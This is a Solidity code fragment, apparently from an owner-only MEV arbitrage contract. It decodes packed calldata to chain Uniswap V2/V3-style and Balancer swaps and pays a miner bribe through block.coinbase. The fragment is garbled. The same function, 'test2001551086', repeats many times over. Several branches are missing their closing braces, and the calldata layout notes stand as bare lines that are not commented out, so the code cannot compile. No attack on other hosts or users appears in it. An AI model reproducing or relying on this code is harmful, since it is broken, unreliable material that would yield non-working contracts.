amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,address(this));
}
else{
V2Swap(pair1,amount2,0,address(this));
}
uint out =BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
else if(type2==1){
uint out = BalSwap(pair2,tokenIn,tokenOut,amount2,needap);
erc20Transfer(tokenOut,pair1,out);
if(zeroForOne){
V2Swap(pair1,0,amount1,address(this));
}
else{
V2Swap(pair1,amount1,0,address(this));
}
}
}
else if (type1==8){
bytes memory datacb = new bytes(96);
assembly {
let fourth32bytes := calldataload(100)
let fifth32bytes:=calldataload(132)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
mstore(add(datacb, 96), fifth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
}
function test2001551086() public payable onlyOwner {
4 bytes selector
|-------------------- 16byte blockNum -----------------|-------------- 16byte bribe ----------------|
|--------------20 pair1 address --------------|-----11 bytes amount1 ---|4bit zeroForOne 4bit type1-|
|--------------20 pair2 address --------------|-----11 bytes amount2 ---|4bit zeroForOne2 4bit type2-|
address pair1;
uint128 inblockNum;
uint128 bribe;
uint amount1;
uint8 type1;
bool zeroForOne;
address pair2;
uint256 third32bytes;
assembly {
let first32bytes := calldataload(4)
inblockNum:=shr(128,first32bytes)
bribe:= and(first32bytes,0xffffffffffffffffffffffffffffffff)
let second32bytes := calldataload(36)
pair1 := shr(96,second32bytes)
amount1:= and(shr(8,second32bytes),0xffffffffffffffffffffff)
type1:=and(second32bytes,0x0f)
zeroForOne:=and(second32bytes,0xf0)
third32bytes:=calldataload(68)
pair2:= shr(96,third32bytes )
}
if(bribe>0){
block.coinbase.transfer(uint256(bribe));
}
if (type1==0){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,int256(amount1),datacb);
}
else if(type1==1){
bytes memory datacb = new bytes(32);
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
}
else if(type1==2){
bytes memory datacb = new bytes(32);
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==3){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,address(this),zeroForOne,-int256(amount1),datacb);
}
else if(type1==4){
bytes memory datacb = new bytes(64);
assembly {
let fourth32bytes := calldataload(100)
mstore(add(datacb, 32), third32bytes)
mstore(add(datacb, 64), fourth32bytes)
}
V3Swap(pair1,pair2,zeroForOne,int256(amount1),datacb);
else if(type1==5){
uint amount2;
bool zeroForOne2;
uint amount3;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,address(this));
}
else{
V2Swap(pair2,amount3,0,address(this));
}
}
else if(type1==6){
uint amount2;
bool zeroForOne2;
address pair3;
uint amount3;
bool zeroForOne3;
uint amount4;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
zeroForOne2:=and(third32bytes,0xf0)
let fourth32bytes:=calldataload(100)
pair3 := shr(96,fourth32bytes)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
zeroForOne3:=and(fourth32bytes,0xf0)
let fifth32bytes:=calldataload(132)
amount4:= and(shr(8,fifth32bytes),0xffffffffffffffffffffff)
}
wethTransfer(pair1,amount1);
if(zeroForOne){
V2Swap(pair1,0,amount2,pair2);
}
else{
V2Swap(pair1,amount2,0,pair2);
}
if(zeroForOne2){
V2Swap(pair2,0,amount3,pair3);
}
else{
V2Swap(pair2,amount3,0,pair3);
}
if(zeroForOne3){
V2Swap(pair3,0,amount4,address(this));
}
else{
V2Swap(pair3,amount4,0,address(this));
}
}
else if(type1==7){
uint amount2;
uint8 type2;
bool needap;
address tokenIn;
address tokenOut;
assembly{
third32bytes:=calldataload(68)
amount2:= and(shr(8,third32bytes),0xffffffffffffffffffffff)
needap:=and(third32bytes,0xf0)
type2:=and(third32bytes,0x0f)
let fourth32bytes:=calldataload(100)
tokenIn:= shr(96,fourth32bytes)
let fifth32bytes:=calldataload(132)
tokenOut:= shr(96,fifth32bytes)
}
if(type2==0){
uint amount3;
assembly{
let fourth32bytes:=calldataload(100)
amount3:= and(shr(8,fourth32bytes),0xffffffffffffffffffffff)
}
